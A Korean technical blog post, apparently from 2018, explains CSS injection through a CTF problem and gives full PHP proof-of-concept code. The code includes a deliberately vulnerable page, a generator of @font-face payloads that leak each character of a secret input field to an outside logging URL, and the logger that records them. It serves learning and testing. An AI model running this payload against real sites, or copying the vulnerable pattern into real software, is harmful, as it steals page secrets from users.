Introduction

CSS Injection은 간단히 말해서 웹 페이지에 CSS를 임의로 삽입하는 방식의 공격입니다.
웹 브라우저에 따라서는 CSS를 통해 JavaScript를 실행시킬 수 있는 경우도 있어, XSS (Cross Site Scripting)으로 연계될 수도 있습니다.

사실 예전엔 고작 CSS를 삽입하는 것만으로 무슨 공격을 할 수 있나 싶었습니다만, 올 해(2018년) 초에 Harekaze CTF에서 출제된 CSS Injection 관련 문제를 풀다보니 알게 되었습니다.
바로 CSS Injection을 통해 해당 페이지 내의 값을 읽을 수 있다는 것입니다.

How to?

@font-face {
	font-family: 'safflower';
	src: url('http://.../log.php?x=A');
	unicode-range: U+41;
}
@font-face {
	font-family: 'safflower';
	src: url('http://.../log.php?x=B');
	unicode-range: U+42;
}
#secret {
	font-family: 'safflower';
}

위 코드처럼 읽으려는 값에 임의의 폰트(safflower)를 적용시키고, 각 문자(A, B, ..)마다 다른 URL(http://.../log.php?x=)로 폰트 파일을 요청하게끔 하면 됩니다.
저렇게 하면 읽으려는 값에 해당 문자가 있으면, 지정된 URL로 폰트 파일을 요청하게 되므로 데이터를 이루고 있는 문자들을 대략적으로 알 수 있게 됩니다.
웹 브라우저가 한번 요청한 폰트 파일은 중복해서 요청을 하지 않으므로, 중복된 문자에 대해서는 최초에 적혀있는 문자만 알 수 있습니다.

PoC Code

<?php
    # target.php
	$input = isset($_REQUEST['input']) ? $_REQUEST['input'] : '';
	$input = preg_replace('/\"\<\>/', '', $input);
?>
<link rel="stylesheet" href="<?php echo $input; ?>">
<label for="secret">Secret</label>
<input id="secret" type="text">

CSS Injection이 가능한 테스트용 웹 페이지의 코드입니다.

<?php
    # attack.php
	header('Content-Type: text/css');

	$table = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c';
	for($i = 0; isset($table{$i}); ++$i){
?>
	@font-face {
		font-family: 'safflower';
		src: url('http://.../log.php?x=<?php echo urlencode($table{$i}); ?>');
		unicode-range: U+<?php echo bin2hex($table{$i}); ?>;
	}
<?php
	}
?>
#secret {
	font-family: 'safflower';
}

그리고 이건 CSS Injection의 Payload를 생성하는 웹 페이지의 코드입니다.

<?php
	# log.php
	if(isset($_GET['x']{0})){
		file_put_contents(__DIR__.'/log.txt', $_GET['x'], FILE_APPEND);
	}
?>

마지막으로 이건 접속했을 때 x 파라미터를 Logging하는 웹 페이지의 코드입니다.